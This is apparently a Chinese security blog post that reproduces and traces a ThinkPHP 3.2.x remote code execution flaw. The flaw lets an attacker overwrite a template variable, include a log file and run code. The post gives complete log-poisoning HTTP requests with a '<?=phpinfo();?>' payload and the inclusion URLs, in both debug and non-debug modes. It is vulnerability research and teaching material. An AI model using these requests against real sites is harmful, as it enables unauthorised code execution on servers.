前言
之前看到【漏洞通报】ThinkPHP3.2.x RCE漏洞通报只是粗略的看了下漏洞原理,看了就等于自己会了吗?
本着要对这个漏洞负责的态度,当然要实际操作一下。
漏洞概述
在受影响的 ThinkPHP 版本中,如果业务代码中存在模板赋值方法 assign
的第一个参数可控,则可导致模板文件路径变量被覆盖为恶意代码的文件路径,造成任意文件包含,执行任意代码。
漏洞复现
为了省事直接在本地 Windows 上 利用 phpstudy 搭建环境并进行分析 ThinkPHP3.2.x 下载
为了漏洞复现的需要,我们要修改控制器
Application/Home/Controller/IndexController.class.php
<?php
namespace HomeController;
use ThinkController;
class IndexController extends Controller {
public function index($value=''){
$this->assign($value);
$this->display();
}
}
同时因为程序要进入模板渲染的方法中,所以需要创建对应的模板文件内容,内容随意,模板文件的位置:
ApplicationHomeViewIndexindex.html
因为开启 debug 模式时日志路径保存位置不同,所以操作可能略微有所不同
debug 模式关闭时,默认为开启模式
GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
Host: thinkphp.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=vkmgdmnjpvke8bn0v2oq3da7ld
Connection: close
系统报错写进了日志文件中,日志文件路径(默认配置的 log 文件路径,ThinkPHP 的日志路径和日期相关)
Application/Runtime/Logs/Common/21_07_19.log
构造请求
http://thinkphp.test/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_07_19.log
debug 模式开启时,除了通过构造错误请求日志外,还可以通过构造正确请求日志,但是日志路径不同。
GET /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1
Host: thinkphp.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
开始了debug 模式后正确的请求也会被写进日志文件,日志文件路径(默认配置的 log 文件路径,ThinkPHP 的日志路径和日期相关)
Application/Runtime/Logs/Home/21_09_20.log
构造请求
http://thinkphp.test/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_09_20.log
到此简单的漏洞复现就算完成了,复现了就等于自己会了吗?
对漏洞进行分析还是很有必要滴。
漏洞分析
IndexController 作为入口路由
Application/Home/Controller/IndexController.class.php
assign 方法的第一个变量可控,于是跟进 assign 方法
ThinkController::assign
此时调用的是 ThinkPHP/Library/Think/View.class.php
中的 assign 函数,因为传入的值是数组,传进去的 $value
对应着此处的 $name
被赋值给了 $this->tVar
ThinkView::assign
接着就到了 disaply 方法
ThinkController::display
会调用 ThinkPHP/Library/Think/View.class.php
中的 display 函数,传入的参数全部为空
进入 fetch 函数进行处理,这里我们看到对 templateFile
进行了校验,如果模板文件文件不存在的话,会直接退出,这也就是为什么之前要创建模板文件的原因。
ThinkView::fetch
在满足了存在模板文件的条件之后,继续向下执行,会判断模板文件的类型,不是 php 类型的模板时进入 else 分支,会为 $params 赋值,var 是 传进去的 $value
即日志路径,file 是模板文件的路径。
会进入 ThinkPHP/Library/Think/Hook.class.php
中的 listen 函数
ThinkHook::listen
然后会调用 ThinkPHP/Library/Think/Hook.class.php
的 exec 函数
ThinkHook::exec
然后 exec 函数会将 $params
到函数 ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php
中的 run
函数进行处理
BehaviorParseTemplateBehavior::run
接着会进入 ThinkPHP/Library/Think/Template.class.php
中的 fetch 函数
ThinkTemplate::fetch
通过 call_user_func_array 调用函数 load
ThinkStorage::__callstatic
当 $var
不为空时,会通过 extract
方法 EXTR_OVERWRITE
覆盖掉已有的变量。
ThinkStorageDriverFile::load
之后就到了漏洞的最终触发点 include $_filename;
此处就实现了文件包含漏洞
ThinkStorageDriverFile::load
漏洞补充
模板渲染方法的话,可以使用 display 、fetch 、show
ThinkController::display
ThinkController::show
ThinkController::fetch
使用 fetch 时程序逻辑会使用 ob_start();
打开缓冲区,使得 PHP 代码的数据块和 echo() 输出都会进入缓冲区而不会立刻输出;所以构造 fetch 方法对应的攻击代码想要输出时,需要在攻击代码末尾带上 exit() 或 die()。
总结
整个漏洞分析下来,有一种豁然开朗的感觉,自己实操调试一遍之后有很大的收获,漏洞原理并不是很难,自己去挖掘发现的话,可能还是要加深对 thinkphp 代码的理解。
前言 java类加载器是JVM加载类到内存并运行的过程,这个过程有点复杂,除了系统自定义的三类加载器外,java运行用户编写自定义加载器来完成类的加载过程。java安全中常常需要远程加载恶意类文件来完成漏洞的利用,所以学习类加载器的编写也是很重要的。 类加载器…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论